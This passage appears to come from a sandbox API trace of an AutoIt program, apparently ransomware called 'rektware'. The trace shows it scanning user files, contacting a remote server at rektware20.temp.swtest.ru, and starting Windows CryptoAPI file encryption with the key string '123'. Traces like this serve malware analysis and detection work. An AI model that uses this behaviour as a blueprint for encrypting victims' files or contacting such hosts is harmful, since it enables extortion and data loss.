3 [0063.314] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Music\\slq09VZi9-B1tc1ePT.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.314] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Music\\slq09VZi9-B1tc1ePT.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.314] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Music\\slq09VZi9-B1tc1ePT.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.314] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Music\\slq09VZi9-B1tc1ePT.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.314] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Music\\slq09VZi9-B1tc1ePT.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.314] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Music\\slq09VZi9-B1tc1ePT.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.314] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Music\\slq09VZi9-B1tc1ePT.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.314] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Music\\slq09VZi9-B1tc1ePT.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.314] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Music\\slq09VZi9-B1tc1ePT.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.314] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Music\\slq09VZi9-B1tc1ePT.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.314] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Music\\slq09VZi9-B1tc1ePT.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.314] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Music\\slq09VZi9-B1tc1ePT.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Music\\slq09VZi9-B1tc1ePT.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Music\\slq09VZi9-B1tc1ePT.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Music\\slq09VZi9-B1tc1ePT.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Music\\slq09VZi9-B1tc1ePT.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="usic\\slq09VZi9-B1tc1ePT.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sic\\slq09VZi9-B1tc1ePT.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ic\\slq09VZi9-B1tc1ePT.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="c\\slq09VZi9-B1tc1ePT.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\slq09VZi9-B1tc1ePT.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="slq09VZi9-B1tc1ePT.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lq09VZi9-B1tc1ePT.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="q09VZi9-B1tc1ePT.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="09VZi9-B1tc1ePT.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="9VZi9-B1tc1ePT.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VZi9-B1tc1ePT.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Zi9-B1tc1ePT.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="i9-B1tc1ePT.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="9-B1tc1ePT.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="-B1tc1ePT.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="B1tc1ePT.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1tc1ePT.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tc1ePT.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="c1ePT.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1ePT.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ePT.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PT.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="T.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0063.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.315] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.315] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0063.315] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0063.315] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0063.316] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0063.316] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0063.316] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0063.316] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0063.316] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d60, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620d60, lpdwBufferLength=0x130ee1c) returned 1 [0063.316] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0063.316] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0063.316] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0063.316] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0063.316] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0063.316] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0063.316] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292e0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0063.316] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629420, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629420*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0063.316] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0063.317] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0063.317] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0063.317] CloseHandle (hObject=0x0) returned 0 [0063.317] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.317] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\slq09VZi9-B1tc1ePT.wav", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0063.317] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0063.317] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.317] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0063.317] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.317] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.317] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0063.317] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.317] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0063.318] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.318] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.318] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0063.318] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.318] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.318] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.318] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.318] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.318] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0063.318] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.318] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0063.318] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0063.318] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0063.318] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0063.318] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0063.319] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0063.319] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17ab330) returned 1 [0063.319] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.319] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.319] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0063.320] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.320] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.320] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.320] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.320] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.320] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0063.320] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.320] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.320] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.320] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.320] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.320] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.320] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0063.320] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.320] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.320] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0063.320] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.320] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.320] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0063.320] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.320] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.320] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0063.320] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.321] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.321] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.321] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.321] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.321] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.321] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.321] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0063.321] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.321] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.321] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0063.321] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621540, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0063.321] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0063.321] CryptCreateHash (in: hProv=0x17ab330, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0063.321] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.321] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.321] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.321] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.321] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0063.321] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629720, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0063.322] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0063.322] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.322] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0063.322] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16295a0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0063.322] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.322] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.322] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.322] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.322] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0063.323] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621708, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0063.323] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0063.323] CryptHashData (hHash=0x164c430, pbData=0x1629710, dwDataLen=0x3, dwFlags=0x1) returned 1 [0063.323] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.323] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.323] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.325] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.326] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.326] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0063.326] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.326] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.326] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0063.326] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621870, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0063.326] GetProcAddress (hModule=0x74c60000, 